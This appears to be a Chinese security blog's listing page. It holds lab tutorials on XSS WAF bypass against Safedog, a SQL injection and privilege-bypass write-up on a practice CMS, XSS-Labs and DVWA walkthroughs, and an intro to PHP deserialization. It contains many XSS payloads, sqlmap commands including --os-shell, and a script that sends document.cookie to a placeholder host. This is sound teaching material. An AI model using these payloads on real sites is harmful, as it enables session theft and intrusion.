首页
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
18,249 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
16,620 阅读
3
泷羽Sec红队培训,OSCP+国际渗透测试专家中级认证
7,268 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
6,931 阅读
5
几个常见的密码字典推荐
6,841 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
195
篇文章
累计收到
2
条评论
首页
导航
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
搜索到
67
篇与
的结果
2025-05-18
【WAF剖析】10种XSS某狗waf绕过姿势
XSS 基础:Web安全中的XSS攻击详细教学,XSS-Labs靶场通关全教程(建议收藏)(一)、Web安全中的XSS攻击详细教学(二)--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>image-20240722102220534基础 payloadphp<?phpecho "<script>alert(1)</script>";?>img<img SRC=JavaScript:alert("XSS")><IMG SRC=JavaScript:alert(String.formCharCode(88,83,83))><img scr="URL" style='XSS:expression(alert(XSS));'><img SRC="x" onerror=alert(1)><img SRC="x" οnerrοr=eval("alert('XSS')")><img SRC=x οnmοuseοver=alert('XSS')>css<img STYLE="background-image:url(JavaScript:alert('XSS'))">formXSS利用方式1<form action=JavaScript:alert('xss') method="get"><form action=JavaScript:alert('xss')>XSS利用方式2<form method=post action=aa.asp? οnmοuseοver=prompt('xss')><form method=post action=aa.asp? οnmοuseοver=alert('xss')><form action=1 οnmοuseοver=alert('xss')>input<input name="name" value=""><input value="" οnclick=alert('xss') type="text"><input name="name" value="" οnmοuseοver=prompt('xss') bad=""><input name="name" value=""><script>alert('xss')</script>iframe<iframe SRC=JavaScript:alert('xss');height=5width=1000 /><iframe><iframe SRC="data:text/html,<script>alert('xss')</script>"></iframe><!--原code--><iframe SRC="data:text/html;base64,<script>alert('xss')</script>"><!--base64编码--><iframe SRC="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe SRC="aaa" οnmοuseοver=alert('xss') /><iframe><iframe src="JavaScript:prompt(`xss`)"></iframe>经过测试以上内容皆执行不了,但是还有一个svg没测试svg!成功了一个,看来 v4.0 的安全狗没有对 svg 进行防护,payload 如下<svg onload=alert(1)>image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过<sCript>alert(1)</Script>image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行(可以配合 weight 等参数将 div 覆盖页面,鼠标不划过都不行)image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如<svg onload=alert(1)>之前已经测试过了,svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload,尝试访问,成功加载,但是看源码,标签没有闭合image-20240722141540870我们在 url 中闭合这个标签,就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下,为了节省资源,许多 WAF 只会对 GET 请求进行过滤拦截,而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将 GET 请求修改为 POST 请求,或者通过 Cookie、HTTP Header 等方式提交恶意脚本,以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过 WAF 的关键词过滤规则。例如,将 JavaScript 代码中的关键字进行大小写混淆(如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此,WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签(如 , , 等)替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」:有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式,增加 WAF 的负担,从而绕过 WAF 的检测。「利用 WAF 配置不当」:WAF 的配置可能存在漏洞或不当之处,如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则,构造绕过 WAF 检测的请求。「旁站绕过」:在某些情况下,网站管理员可能只对主站进行了 WAF 防护,而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果,并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略,可以显著提高攻击的成功率。❝XSStrike 开源地址:https://github.com/s0md3v/XSStrike❞六、其他技巧「利用伪协议」:某些 HTML 属性支持伪协议(如JavaScript: ),攻击者可以利用这些属性执行恶意脚本。「利用 CSS 跨站」:在某些情况下,攻击者可以利用 CSS 中的某些特性(如expression() )执行 JavaScript 代码。「利用全局变量和函数」:JavaScript 中的全局变量和函数(如eval() , window.onload 等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。七、举例这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe ,它可以正常访问,说明 标签没有进行过滤http://192.168.209.149/level1.php?name=<iframe>image-20240722143819570标签没有进行过滤,尝试闭合这个标签,ok 正常访问image-20240722144155301判断属性 src,好没有过滤image-20240722144230962加了个= 就被拦截了,这时候没法继续了,换个事件试试image-20240722144259675image-20240722144611518这里拿 onload 尝试image-20240722144645731❝需要注意的是,以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略,提高网站的安全性。❞SQL 注入 WAF 绕过文章参考:SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细、SQL注入某狗WAF绕过(补充)
2025年05月18日
2,026 阅读
0 评论
0 点赞
2025-05-18
对某CMS漏洞练习平台的一次xss、sql注入、越权黑盒思路分析
简介熊海CMS是由熊海开发的一款功能丰富的网站综合管理系统,广泛应用于个人博客、个人网站以及企业网站,本文章用于黑盒测试,如果需要源码审计后台回复【CMS】获取即可,精心准备了40多个cms源码漏洞平台,供宝子们学习,一切资源免费XSS测试在测试过程中,我们发现目标站点存在XSS注入漏洞。通过插入特定的XSS测试脚本,我们能够触发跨站脚本攻击,这表明站点在处理和显示用户输入时未进行充分的过滤和编码。SQL注入SQL注入超详细教程:从零开始学SQL注入(sql十大注入类型):技术解析与实战演练在首页,通过随机点击一篇文章并修改URL参数,我们尝试进行SQL注入攻击。使用以下payload:http://192.168.3.245:37892/?r=content&cid=16' -- w服务器响应报错,这表明可能存在SQL注入漏洞。为了进一步验证,我们使用sqlmap工具进行自动化测试,并指定参数cid进行注入尝试:sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 --dbs测试结果显示,目标站点存在布尔盲注、报错注入和时间盲注三种SQL注入方法。接下来,我们使用dirb工具扫描目标站点的目录结构,并发现了一个admin管理页面。尝试对该admin页面进行SQL注入攻击,结果服务器响应显示SQL语句错误,进一步确认了SQL注入漏洞的存在。后台越权登录之前使用dirb扫出来的admin后台,尝试访问尽管我们尝试使用sqlmap记录来爆破admin所在的表,并发现密码进行了哈希加密,但未能使用现有的密码字典破解密码。由于无法直接登录后台,我们尝试构造session,cookie和本地存储进行越权访问。通过抓包分析,我们猜测向后端传递的用户名字段为user,密码字段为password。在设置了本地cookie存储后(随意设置),我们尝试访问后台页面:http://192.168.3.208:37892/admin/index.php成功越权访问了网站后台。在后台,我们尝试修改回复内容,并插入XSS攻击脚本:<script>alert(1)</script>保存修改后,XSS攻击脚本成功生效,表明站点存在存储型XSS注入漏洞。在尝试删除留言时,我们发现URL参数delete可能存在SQL注入漏洞。通过构造特定的payload,我们确认了该漏洞的存在。此外,我们还发现了一个报错页面,该页面暴露了站点的根目录信息,这可能会被恶意利用。由于已知目标站点为PHP网站,我们尝试使用sqlmap获取目标shell:sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 --os-shell然而,上传stager失败,可能是权限不足或目标网站的安全措施阻止了上传。修复建议更新版本:确保熊海CMS系统更新到最新版本,以修复已知的安全漏洞。SQL注入防护:对SQL语句进行预编译处理,以防止SQL注入漏洞。同时,限制数据库账号的权限,仅授予执行必要操作的最小权限,以减少SQL注入攻击的影响。XSS防护:对输出到HTML的数据进行编码处理,以防止XSS攻击。可以使用HTML实体编码或JavaScript编码来转义特殊字符。自定义错误页面:建议自定义错误页面,以避免编程语言特性导致的网站根目录泄露问题,从而减少不必要的安全风险。网安学习不迷路,技术分享,萌新答疑,一起来交流吧
2025年05月18日
2,113 阅读
0 评论
0 点赞
2025-05-18
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程
漏洞原理XSS(cross site script)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。DOM型(非持久型):漏洞危害XSS攻击的常见目标是盗取用户的cookie和其他敏感信息,这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御?输入验证:网站开发者需要对用户输入进行严格的验证和过滤,避免将不受信任的数据直接输出到HTML中。输出编码:当将用户输入的数据输出到页面时,使用适当的编码方法(如HTML实体编码)来转义可能被浏览器解释为脚本的特殊字符。对输出内容进行编码:在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。漏洞复现Upload-Labs靶场(1-20关)第一关(URL传参)分析URL中的参数有个nanme根据XSS原理,注入恶意脚本,尝试注入payload?name=<script>alert()</script>第二关(输入框注入)尝试注入payload<script>alert()</script>分析源码,红色框上面部分被转义了,没有什么绕过方法,但是下面部分,仔细看,如果我们嵌套一个反标签符号呢?payload如下"><script>alert()</script><"第三关(事件注入)尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了在JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件这里我们给他一个函数即可,payload如下' onfocus=JavaScript:alert() '此时再点击这个input框,使其获得焦点,触发onfocus事件第四关(引号类型)使用上一关的结果进行注入,尝试失败分析源码,发现外围是双引号,双包单了,不符合JavaScript 的onfocus事件绑定切换payload为双引号即可" onfocus=JavaScript:alert() "提交payload后,需要点击input框,触发onfocus事件第五关(a标签注入)尝试输入脚本标签,被强行切换为scr_ipt使用上一关的方法" onfocus=JavaScript:alert() ",事件名称也被强行转换了这里就要用到a标签的 href属性了,尝试注入分析源码,并无异常转换,只是少了个"> 和 <",构造payload"><a href="JavaScript:alert();">xx</a><"发现页面多了个标签,此时既可以点击此标签第五关,over!第六关(大小写绕过)使用上一关结果,尝试注入"><a href="JavaScript:alert();">xx</a><"分析源码,href变成了hr_ef尝试onfocus绕过,失败尝试大小写,发现没有对大小写进行验证//第一种,脚本注入 " ><SCRIPT>alert()</SCRIPT>< " //第二种,焦点事件 " ONDOCUS=JavaScript:alert() " //a标签href属性的 "> <a HREF=JavaScript:alert()>x</a> <"over!第七关(双拼写)一样,使用上一关方法尝试,发现此时对大小写也进行了验证。不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用*双拼写*来绕过。" ><sscriptcript>alert()</sscriptcript>< "第八关(Unicode编码)尝试使用大小写失败,对字符进行了强行转换,而且使用了强制小写字母尝试使用双写,也以失败告终这里我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议JavaScript:alert()利用在线工具进行Unicode编码后得到,在线Unicode编码解码javascript:alert()第九关(指定字符绕过)先看看过滤了什么" SRC data onfocus <script> <a href=javascript:alert()> 什么嘛,看源码当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://",并将其作为注释,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。比如:javascript:alert()/* <http://> */本章小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可第十关(属性修改)a标签注入失败,看看网页源码,全部都在h2标签去了,看着下面还有这么多hidden的input,这谁顶得住啊。看后端源码吧它多了个get的参数,测试了好几遍,可以尝试这个参数,把后面的type="hidden"给干掉,或者给type="text"也行就可以让这个input显示出来,再让它获得焦点,触发onfocus事件。level10.php?t_sort=" onfocus="javascript:alert()" type=" level10.php?t_sort=" onfocus="javascript:alert()" type="text第十一关(Referer)老样子,使用上一关的payload,发现我们的参数被转义了检查源码使用,这个str11并没有使用htmlspecialchars()方式进行转换,那么这里就是注入点知识补充:htmlspecialchars():一个PHP函数,用于将特殊字符转换为HTML实体。这个函数通常用于防止跨站脚本(XSS)攻击。$_SERVER['HTTP_REFERER'] :链接到当前页面的前一页面的 URL 地址。(referer,推荐人)$userInput = "<script>alert('XSS');</script>"; $safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); echo $safeOutput; // 输出: <script>alert('XSS');</script>尝试注入RefererREFERER:<script>alert()</script>注入成功,但是他把我们的< 和> 这些尖括号给去掉了那么可以尝试使用onfocus事件,并且把隐藏的input给显示出来,payload如下REFERER:" onfocus="javascript:alert()" type="text" "over!第十二关(User-Agent)上一关使用的referver,这一关我们猜测使用cookie,开始尝试发送请求,果断打开源码,尝试个鬼,用的user-agent尝试使用如下payload,添加到请求头后面" onfocus="javascript:alert()" type="text" "over!第十三关(Cookie)这关想都不要想,一定是Cookie!有人不服嘛,不服顺着网线来打死我 (´。✪ω✪。`)先查看源码,然后抓包,或者说,直接抓包俩个东西似曾相识哈,复制上一关的payload,开始注入" onfocus="javascript:alert()" type="text" "鼠标点击input输入框,使其获得焦点,成功!第十四关由于本关因*iframe*调用的文件地址失效,无法进行测试。第十五关来到了第十五关,直到看到如下图片,啊??????再看看源码,没有一点头绪啊,之前用的方法全部没作用了使用burp suite抓包试试。。。。。。无奈,只能看php源码了,有一个SRC参数,关键他还使用了htmlspecialchars()累了,煞了我吧看网上是这样子说的这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如,但是可以包涵那些标签的东西比如、、、标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'分析源码,他这里是对特殊符号进行了转义,比如 >使用<,它并没有删掉,还是存在在html标签中的,也可以进行内含属性,根据他说的尝试使用img标签,并添加onmouseover 事件语法如下?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'第十六关(回车%0a)通过以上关卡我总结了一些关键字,便于测试?keyword=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j 都以失败告终。查看源码这里将` ,/,script,-都替换成了 ,所以a标签也不行,但是可以使用一个标签的标签(单标签)比如,,,svg` 等。这里使用<svg>的onload事件,就是svg标签加载完成的事件,搭配上%0a即回车按钮,就比如?keyword=<svg%0aonload=alert()>渲染在网页上其实是这样的<svg%0aonload=alert()> || <svg onload=alert()>第十七关(embed)测试注入关键字?arg01=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;发现事件名称和javascript脚本都没有被注释,尝试使用onload事件%20onload=alert()%20""非常简单,完成,这里原本是一个未知文件显示在这里的,小编我直接修改成了这张图片,实现思路是一样的第十八关(双参空格)尝试任意字符,它将俩个参数用 = 号连接起来了/level18.php?arg01=abavvvv&arg02=fdffffdf注入测试" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;属性正常,和上一关一样,不过需要注意是第二个参数进行传值arg02/level18.php?arg02= onmousedown=alert() //注意空格,这里使用的是鼠标点击事件第十九关难搞,pass,不要问我为什么,可能环境不对,Flash xss了解一下就行,现在许多浏览器都用不上flash插件了第二十关payload在这儿(也不起效果),你自个儿试试吧,这是原文,可能因为我的服务器是linuxhttps://blog.csdn.net/u014029795/article/details/103217680?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123存储型XSS(持久性XSS)存储型XSS,又称持久性XSS,他们和反射性XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码,又有点类似于SQL注入,但不同于SQL注入。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。持久型 XSS 的三大特点: 持久性,植入在数据库中; 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡; 盗取用户敏感私密信息。 如何防御? 后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理; 后端在输出给前端数据统一进行转义处理; 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。 漏洞复现--DVWALOW尝试注入JavaScript脚本<script>alert()</script>执行正常注入成功尝试分析源码,完全没有对XSS的防护,另外对SQL注入的防护也不彻底。<?php if( isset( $_POST[ 'btnSign' ] ) ) { //trim() 函数只能去除字符串的首尾字符,这里没有第二个参数,默认去除首尾空格 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); //stripslashes() 删除字符串中的反斜杠 $message = stripslashes( $message ); //mysqli_real_escape_string() 函数转义了特殊字符(包括NUL(ASCII 0)、n、r、、'、" 和 Control-Z),然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 要执行的sql语句 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>这里还有一共攻击方式使用xss攻击获取cookie,payload如下<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>简单地起http协议的方法有两种:(1)用python2:python2 -m SimpleHTTPServer 8899(2)用python3:python3 -m http.server 8899注入payload成功获取cookie信息P.S. 测试的时候还发现每次点击浏览器的刷新键,都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。Medium尝试使用上一关的内容进行注入。注入失败盲注尝试第一个框,而且输入框限制了文字的输入长度似乎有效果尝试修改input框的输入长度限制payload如下<a href="javascript:alert()">alert()</a>注入成功源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags() 函数用于从字符串中去除HTML和PHP标签 // addslashes() 用于在字符串中的单引号(')、双引号(")、反斜杠()和NULL字符(�)前面添加反斜杠 $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // htmlspecialchars() 用于将特殊字符转换为HTML实体,特殊字符包含&、<、>、'、" $message = htmlspecialchars( $message ); // 将指定字符串替换为空 $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>仔细分析源码会发现,它只将message框的函数进行了一个strip_tags字符判断,但是并没有对name框的值进行判断,此处仅仅只是进行了删除script,所以我们可以可以尝试以下俩种方式: 双写绕过,例如<sc<script>ript>alert()<sc<script>ript> 大小写绕过,把标签名称改为<sCript>,任意字符大写即可 High单标签使用上一关的payload测试失败尝试半包,发现对字符进行了转义。尝试单个标签 img,并添加点击事件onclick,即可注入成功<img src=1 onclick=alert() /><!--注意不要少了空格-->cookie在单标签的情况进行获取cookie,payload如下<img src=1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />http端口也没有监听到cookie信息尝试失败之后试了试svg,也不行在我百思不得其解的时候,想到了这么一个标签input,onchange事件<input onchange="alert()">成功了!那么再利用这个input标签,去获取我们的dvwa站点的cookie信息<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">emmmm,尝试了好几遍,注入失败了,不知道为什么看源码。。。。<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>它使用 preg_replace 正则替换没思路了,有没有大佬帮帮我呀 T_TIMPOSSIBLE源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // checkToken() 检查token是否存在,使用csrf_token,防止CSRF攻击,还解决了表单重复提交的问题 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 将参数俩边的空格去掉 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 去掉message框的反斜杠 $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 将message框中的值转化为html实体 $message = htmlspecialchars( $message ); // 去掉name中的反斜杠 $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // 执行sql语句,并使用了PDO进行了预编译,预防SQL注入攻击 $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>原文链接:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg原文链接https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ
2025年05月18日
1,860 阅读
0 评论
0 点赞
2025-05-18
PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
前言本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。序列化介绍序列化是指将变量转换为一种可保存或传输的字符串形式的过程;而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。例子将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo '</br>'; // 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo "</br>"; // 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)<?php $html =unserialize($_GET['html']); echo $html; 在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值 private和 protected详解//protected举例 class Animal { protected $name; //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。 //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected function getName() { echo $this->name ." 小羽网安"; } } ///extends继承 class Dog extends Animal { public function __construct($name) { //调用父类的构造函数 parent::__construct($name); } // public function introduce() // { // //调用父类的eat方法 // parent::getName(); // echo $this->name ." Dog类别的输出"; // } public function getDog() { $this->getName();//调用继承类的getName方法 echo '<br/>继承之后,继续调用的函数'; } } $myDog=new Dog("<br/>hellow"); $myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数 $myName=new Animal("游不动的小鱼丶"); //$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context 